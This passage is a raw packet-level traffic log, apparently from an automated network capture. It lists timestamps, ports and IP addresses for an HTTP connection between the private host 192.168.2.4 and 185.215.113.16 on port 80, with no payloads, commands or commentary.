Jul 27, 2024 05:39:08.286313057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.286323071 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.286345005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.286375999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.286376953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.286410093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.286411047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.286434889 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.286449909 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292684078 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292717934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292764902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292773008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292773008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292814016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292825937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292848110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292860985 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292879105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292892933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292912960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292941093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.292946100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292963982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.292984962 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326378107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326430082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326464891 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326479912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326498032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326519966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326519966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326534033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326556921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326569080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326587915 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326612949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326628923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326683044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326683998 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326735020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326782942 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326786995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326833010 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326848030 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326879978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326881886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326914072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326946020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.326956987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326992035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.326993942 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327040911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327089071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327090979 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327117920 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327150106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327167034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327183008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327199936 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327214003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327222109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327246904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327270985 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327277899 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327303886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327315092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327322006 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327347040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327378035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327392101 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327409029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327425003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327440977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327459097 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327472925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327486992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327508926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.327517033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.327549934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.374710083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.374816895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.374872923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.374924898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.374957085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.374974966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375008106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375030994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375041008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375055075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375075102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375089884 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375107050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375128031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375138998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375148058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375171900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375205040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375224113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375236034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375257969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375267982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375288963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375299931 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375308990 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375333071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375346899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375369072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375376940 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375405073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375417948 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375433922 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375453949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375463963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375478983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375497103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375524998 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375528097 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375546932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375560045 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375583887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375591040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375607967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375628948 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375643015 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375677109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375708103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375721931 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375755072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375757933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375802994 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375830889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375849962 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375861883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375874043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375895023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375906944 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375926971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.375937939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375969887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.375979900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376024008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376028061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376060009 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376070023 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376091003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376123905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376135111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376154900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376171112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376187086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376204014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376219034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376230955 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376250982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376260996 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376282930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376291990 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376316071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376348019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376359940 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376391888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376401901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376432896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376466036 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376477003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376509905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376519918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376560926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376568079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376600027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376612902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376633883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376641989 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376666069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376676083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376698017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376730919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376741886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376761913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376777887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376795053 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376807928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376826048 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376857042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376888037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376888037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376914978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376920938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376946926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376952887 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.376964092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.376985073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377012968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377016068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377042055 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377059937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377064943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377116919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377161980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377166033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377197027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377212048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377232075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377247095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377259970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377274036 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377298117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377331018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377346992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377361059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377381086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377393961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377418041 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377424955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377437115 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377456903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377470970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377487898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377523899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377526999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.377542973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.377564907 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.383692026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383724928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383759022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383789062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383809090 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.383822918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383853912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383891106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.383997917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.383997917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.383999109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.387320995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417088032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417136908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417152882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417167902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417186975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417201996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417218924 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417253971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417308092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417335987 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417376995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417382956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417416096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417463064 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417512894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417542934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417551994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417551994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417567015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417592049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417603970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417637110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417639971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417675972 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417685986 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417706966 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417718887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417740107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417785883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417788029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417819977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417850971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417870998 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417881966 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417892933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417912960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417929888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417943954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417952061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.417977095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.417995930 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.418009996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.418025970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.418059111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.418077946 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.418092012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.418119907 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.418135881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465522051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465569973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465603113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465650082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465673923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465682983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465714931 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465718031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465739965 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465748072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465779066 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465785027 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465809107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465826988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465828896 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465873003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465903997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465930939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465935946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465962887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.465967894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.465993881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466000080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466015100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466029882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466043949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466062069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466068983 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466094017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466116905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466126919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466147900 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466159105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466172934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466186047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466202974 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466217041 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466228962 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466249943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466280937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466305017 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466312885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466325998 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466355085 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466360092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466408014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466439009 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.466449022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466485977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.466487885 CEST	80	49476	185.215.113.16	192.168.2.4
